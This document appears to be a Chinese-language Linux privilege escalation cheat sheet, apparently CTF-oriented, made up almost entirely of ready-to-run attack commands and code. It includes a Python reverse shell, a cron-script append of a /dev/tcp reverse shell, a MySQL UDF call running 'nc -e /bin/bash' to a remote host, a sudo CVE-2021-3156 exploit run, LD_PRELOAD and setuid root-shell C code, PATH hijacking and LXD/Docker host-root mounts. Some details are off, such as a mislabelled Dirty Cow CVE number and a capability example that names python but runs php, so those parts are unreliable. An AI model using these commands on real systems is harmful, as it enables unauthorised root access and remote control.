Linux权限提升
字数 1368 2025-09-01 11:26:10
Linux权限提升全面指南
一、基础准备
1. 基础命令
# 开启shell交互式
python -c 'import pty; pty.spawn("/bin/bash")'
# python开启http服务
python3 -m http.server 8080
2. 系统信息收集
# 操作系统信息
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release # Debian
cat /etc/redhat-release # RedHat
cat /etc/centos-release # CentOS
cat /etc/os-release # Ubuntu
cat /etc/issue
# 内核版本
hostnamectl
uname -a
cat /proc/version
二、内核溢出提权
1. 漏洞检测工具
-
MSF检测(效果一般):
use post/multi/recon/local_exploit_suggester -
推荐提权脚本:
- https://github.com/liamg/traitor
- https://github.com/The-Z-labs/linux-exploit-suggester
- https://github.com/jondonas/linux-exploit-suggester-2
- https://github.com/belane/linux-soft-exploit-suggester
2. 综合利用脚本
- https://github.com/carlospolop/PEASS-ng
- https://github.com/diego-treitos/linux-smart-enumeration
- https://github.com/redcode-labs/Bashark
- https://github.com/rebootuser/LinEnum
3. 常见内核漏洞案例
- Dirty Cow (CVE-2016-5159)
- Pwnkit (CVE-2021-4034)
- Dirty Pipe (CVE-2022-0847)
- 大脏牛 (CVE-2017-1000405)
- CVE-2017-16995
- CVE-2021-3560
- CVE-2023-1829
- CVE-2022-2588
- CVE-2021-3493
- CVE-2022-32250
- CVE-2023-3269
- CVE-2022-0995
- CVE-2022-2639
- CVE-2023-0386
三、SUID & SUDO提权
1. 基本概念
- SUID入口点: web → 普通用户 → root用户
- SUDO入口点: 普通用户 → root用户
2. SUID查找
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
3. SUID利用示例
# find命令提权
/usr/bin/find . -exec '/bin/sh' \;
# python有SUID权限时反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4. SUDO漏洞利用
-
CVE-2021-3156 (sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p1)
git clone https://github.com/blasty/CVE-2021-3156.git cd CVE-2021-3156 make chmod a+x sudo-hax-me-a-sandwish ./sudo-hax-me-a-sandwish -
查看sudo权限:
sudo -l
四、其他提权方式
1. NFS安全提权
条件: 配合SUID提权
# 检查NFS共享
showmount -e 192.168.16.104
# 挂载NFS共享
mkdir nfs
mount -t nfs 192.168.16.104:/mnt/nfs ./nfs
# 创建SUID文件
cp /usr/bin/find xuan
chmod 777 xuan
chmod +s xuan
# 或者编译提权程序
#include<stdlib.h>
#include<unistd.h>
int main(){
setuid(0);
system("id");
system("whoami");
system("/bin/bash");
}
2. Cron任务提权
原理: 当cron任务以root权限运行,但脚本或可执行文件的权限设置不当
# 查看定时任务
cat /etc/crontab
# 查看定时任务脚本权限
ls -lia /etc/script/CleaningScript.sh
# 修改脚本添加反弹shell
echo "bash -i >& /dev/tcp/192.168.186.130/6677 0>&1" >> /etc/script/CleaningScript.sh
3. PATH劫持攻击
原理: 修改PATH环境变量,使系统优先执行恶意程序
# 在/tmp下创建恶意curl
echo "/bin/sh" > /tmp/curl
chmod 777 /tmp/curl
# 修改PATH
export PATH=/tmp:$PATH
# 执行有SUID权限的程序
/opt/statuscheck
4. Capablility能力提权
原理: Linux将root权限细分为不同能力
# 查看能力
getcap -r / 2>/dev/null
# 利用示例(如python有cap_setuid+ep)
/tmp/php -r "posix_setuid(0); system('/bin/sh');"
5. LD_Preload加载提权
条件: sudo配置允许LD_PRELOAD
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
# 编译
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# 利用
sudo LD_PRELOAD=/tmp/shell.so find
五、容器提权
1. LXD提权
条件: 用户属于lxd组
# 导入镜像
lxc image import ./alpine-v3.22-x86_64-20250721_1126.tar.gz --alias test
# 创建特权容器
lxc init test test -c security.privileged=true
# 挂载宿主机根目录
lxc config device add test test disk source=/ path=/mnt/root recursive=true
# 启动并进入容器
lxc start test
lxc exec test /bin/sh
# 访问宿主机文件
cd /mnt/root/root
cat flag.txt
2. Docker提权
条件: 用户在docker组
# 挂载宿主机根目录
docker run -v /:/mnt -it alpine
# 在容器中访问宿主机文件
cd /mnt/root
3. Rbash绕过
限制性bash逃逸方法:
- 使用绝对路径执行命令
- 使用vi/ed等编辑器逃逸
- 使用scp/sftp
- 使用git/ssh等命令
六、数据库提权
1. MySQL UDF提权
# 编译UDF
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc
# MySQL操作
select version();
show variables like '%plugin%';
show variables like '%secure%';
use mysql;
create table xuan(line blob);
insert into xuan values(load_file('/tmp/udf.so'));
select * from xuan into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.16.109 6666 -e /bin/bash');